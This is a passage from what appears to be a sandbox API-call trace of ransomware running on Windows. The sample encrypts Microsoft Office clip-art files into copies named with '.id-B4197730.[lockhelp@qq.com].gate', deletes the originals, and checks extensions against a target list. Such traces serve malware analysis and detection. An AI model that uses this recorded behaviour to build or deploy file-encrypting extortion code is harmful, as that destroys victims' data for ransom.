dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.766] GetLastError () returned 0x0 [0285.766] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1f86, lpOverlapped=0x0) returned 1 [0285.920] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0285.921] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.921] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.921] SetEndOfFile (hFile=0x418) returned 1 [0285.921] CloseHandle (hObject=0x418) returned 1 [0285.922] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.922] SetEndOfFile (hFile=0x3d0) returned 1 [0285.925] CloseHandle (hObject=0x3d0) returned 1 [0285.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0285.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.926] lstrlenW (lpString=".doc") returned 4 [0285.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.926] lstrlenW (lpString=".docx") returned 5 [0285.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.926] lstrlenW (lpString=".pdf") returned 4 [0285.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.926] lstrlenW (lpString=".xls") returned 4 [0285.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.926] lstrlenW (lpString=".xlsx") returned 5 [0285.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.926] lstrlenW (lpString=".ppt") returned 4 [0285.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.926] lstrlenW (lpString=".zip") returned 4 [0285.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.926] lstrlenW (lpString=".rar") returned 4 [0285.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString=".bz2") returned 4 [0285.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString=".7z") returned 3 [0285.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.927] lstrlenW (lpString=".dbf") returned 4 [0285.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.927] lstrlenW (lpString=".1cd") returned 4 [0285.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.927] lstrlenW (lpString=".jpg") returned 4 [0285.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.927] lstrlenW (lpString=".doc") returned 4 [0285.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString=".docx") returned 5 [0285.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.927] lstrlenW (lpString=".pdf") returned 4 [0285.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.927] lstrlenW (lpString=".xls") returned 4 [0285.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.927] lstrlenW (lpString=".xlsx") returned 5 [0285.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.927] lstrlenW (lpString=".ppt") returned 4 [0285.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.928] lstrlenW (lpString=".zip") returned 4 [0285.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.928] lstrlenW (lpString=".rar") returned 4 [0285.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.928] lstrlenW (lpString=".bz2") returned 4 [0285.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.928] lstrlenW (lpString=".7z") returned 3 [0285.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.928] lstrlenW (lpString=".dbf") returned 4 [0285.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.928] lstrlenW (lpString=".1cd") returned 4 [0285.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0285.928] lstrlenW (lpString=".jpg") returned 4 [0285.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.928] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.928] lstrlenW (lpString="BL00248_.WMF") returned 12 [0285.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.929] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1536) returned 1 [0285.929] CloseHandle (hObject=0x3d0) returned 1 [0285.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0285.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.931] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.931] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.932] GetLastError () returned 0x0 [0285.932] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x600, lpOverlapped=0x0) returned 1 [0286.908] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x610, lpOverlapped=0x0) returned 1 [0286.909] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.909] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.909] SetEndOfFile (hFile=0x418) returned 1 [0286.909] CloseHandle (hObject=0x418) returned 1 [0286.910] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.910] SetEndOfFile (hFile=0x3d0) returned 1 [0286.915] CloseHandle (hObject=0x3d0) returned 1 [0286.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0286.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0286.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.916] lstrlenW (lpString=".doc") returned 4 [0286.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.916] lstrlenW (lpString=".docx") returned 5 [0286.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.916] lstrlenW (lpString=".pdf") returned 4 [0286.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.916] lstrlenW (lpString=".xls") returned 4 [0286.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.916] lstrlenW (lpString=".xlsx") returned 5 [0286.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.916] lstrlenW (lpString=".ppt") returned 4 [0286.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.916] lstrlenW (lpString=".zip") returned 4 [0286.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.916] lstrlenW (lpString=".rar") returned 4 [0286.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.916] lstrlenW (lpString=".bz2") returned 4 [0286.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString=".7z") returned 3 [0286.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString=".dbf") returned 4 [0286.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString=".1cd") returned 4 [0286.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString=".jpg") returned 4 [0286.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString=".doc") returned 4 [0286.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString=".docx") returned 5 [0286.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.917] lstrlenW (lpString=".pdf") returned 4 [0286.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString=".xls") returned 4 [0286.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.917] lstrlenW (lpString=".xlsx") returned 5 [0286.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.917] lstrlenW (lpString=".ppt") returned 4 [0286.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.917] lstrlenW (lpString=".zip") returned 4 [0286.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.917] lstrlenW (lpString=".rar") returned 4 [0286.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.917] lstrlenW (lpString=".bz2") returned 4 [0286.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.918] lstrlenW (lpString=".7z") returned 3 [0286.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.918] lstrlenW (lpString=".dbf") returned 4 [0286.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.918] lstrlenW (lpString=".1cd") returned 4 [0286.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0286.918] lstrlenW (lpString=".jpg") returned 4 [0286.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.918] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0286.918] lstrlenW (lpString="BL00252_.WMF") returned 12 [0286.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0286.918] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4708) returned 1 [0286.918] CloseHandle (hObject=0x3d0) returned 1 [0286.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0286.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0286.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0286.919] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.919] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0286.919] GetLastError () returned 0x0 [0286.919] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1264, lpOverlapped=0x0) returned 1 [0287.110] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1270, lpOverlapped=0x0) returned 1 [0287.531] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.531] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0287.531] SetEndOfFile (hFile=0x418) returned 1 [0287.531] CloseHandle (hObject=0x418) returned 1 [0287.532] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.532] SetEndOfFile (hFile=0x3d0) returned 1 [0287.612] CloseHandle (hObject=0x3d0) returned 1 [0287.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0287.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.613] lstrlenW (lpString=".doc") returned 4 [0287.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".docx") returned 5 [0287.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.613] lstrlenW (lpString=".pdf") returned 4 [0287.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".xls") returned 4 [0287.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.613] lstrlenW (lpString=".xlsx") returned 5 [0287.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.613] lstrlenW (lpString=".ppt") returned 4 [0287.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.613] lstrlenW (lpString=".zip") returned 4 [0287.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.613] lstrlenW (lpString=".rar") returned 4 [0287.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".bz2") returned 4 [0287.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".7z") returned 3 [0287.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.614] lstrlenW (lpString=".dbf") returned 4 [0287.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.614] lstrlenW (lpString=".1cd") returned 4 [0287.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.614] lstrlenW (lpString=".jpg") returned 4 [0287.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.615] lstrlenW (lpString=".doc") returned 4 [0287.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.615] lstrlenW (lpString=".docx") returned 5 [0287.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.615] lstrlenW (lpString=".pdf") returned 4 [0287.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.615] lstrlenW (lpString=".xls") returned 4 [0287.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.615] lstrlenW (lpString=".xlsx") returned 5 [0287.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.615] lstrlenW (lpString=".ppt") returned 4 [0287.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.615] lstrlenW (lpString=".zip") returned 4 [0287.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.615] lstrlenW (lpString=".rar") returned 4 [0287.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.615] lstrlenW (lpString=".bz2") returned 4 [0287.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.618] lstrlenW (lpString=".7z") returned 3 [0287.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.618] lstrlenW (lpString=".dbf") returned 4 [0287.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.618] lstrlenW (lpString=".1cd") returned 4 [0287.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0287.618] lstrlenW (lpString=".jpg") returned 4 [0287.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.619] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0287.619] lstrlenW (lpString="BL00267_.WMF") returned 12 [0287.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0287.619] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2644) returned 1 [0287.619] CloseHandle (hObject=0x3d0) returned 1 [0287.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0287.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0287.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0287.620] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.625] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0287.626] GetLastError () returned 0x0 [0287.626] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xa54, lpOverlapped=0x0) returned 